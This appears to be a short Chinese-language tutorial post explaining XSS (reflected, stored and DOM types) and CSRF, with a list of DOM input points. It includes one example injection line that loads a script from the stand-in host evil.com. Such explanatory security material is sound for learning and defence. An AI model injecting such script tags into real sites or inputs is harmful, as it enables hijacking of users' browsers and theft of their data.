前端黑客之XSS、CSRF

来源:互联网 发布:清风算法辅助软件 编辑:程序博客网 时间:2024/05/21 21:33

XSS:跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生。
绝大多数XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源。任何安全问题都有“输入”的概念,很多时候输入的内容长度是有限制的。真正的XSS攻击弹出窗无意义。一般会注入类似<script src="http://www.evil.com/xxs.js"></script>

这样做的好处:攻击代码容易控制

XXS类型
反射型XSS(非持久性XSS)、存储型XSS(持久型XSS)、DOM XSS

反射型XSS
发出请求时,XSS代码在URL中,作为输入提交到服务器端,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行。这个过程就像一次反射。
存储型XSS
提交的XSS代码会存储在服务端,最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,用户查看留言板时,那些留言内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是触发了XSS攻击。
DOM XSS
DOM XSS的XSS代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。
常见的输入点:

document.URLdocument.URLUnencodeddocument.locationdocument.referrerwindow.locationwindow.namedocument.cookiedocument.writedocument.body.innerHTMLdocument.forms[0].actiondocument.attachEventdocument.createdocument.bodywindow.attachEventdocument.locationdocument.location.hostnamedocument.location.replacedocument.location.assigndocument.URLwindow.navigatewindow.openwindow.location.href

CSRF:跨站请求伪造
跨站请求伪造是其他站点的,对于XSS来说,发起的任何攻击请求实际上是目标网站同域内发出的。
CSRF类型:HTML CSRF攻击、JSON HiJacking攻击、Flash CSRF攻击

原创粉丝点击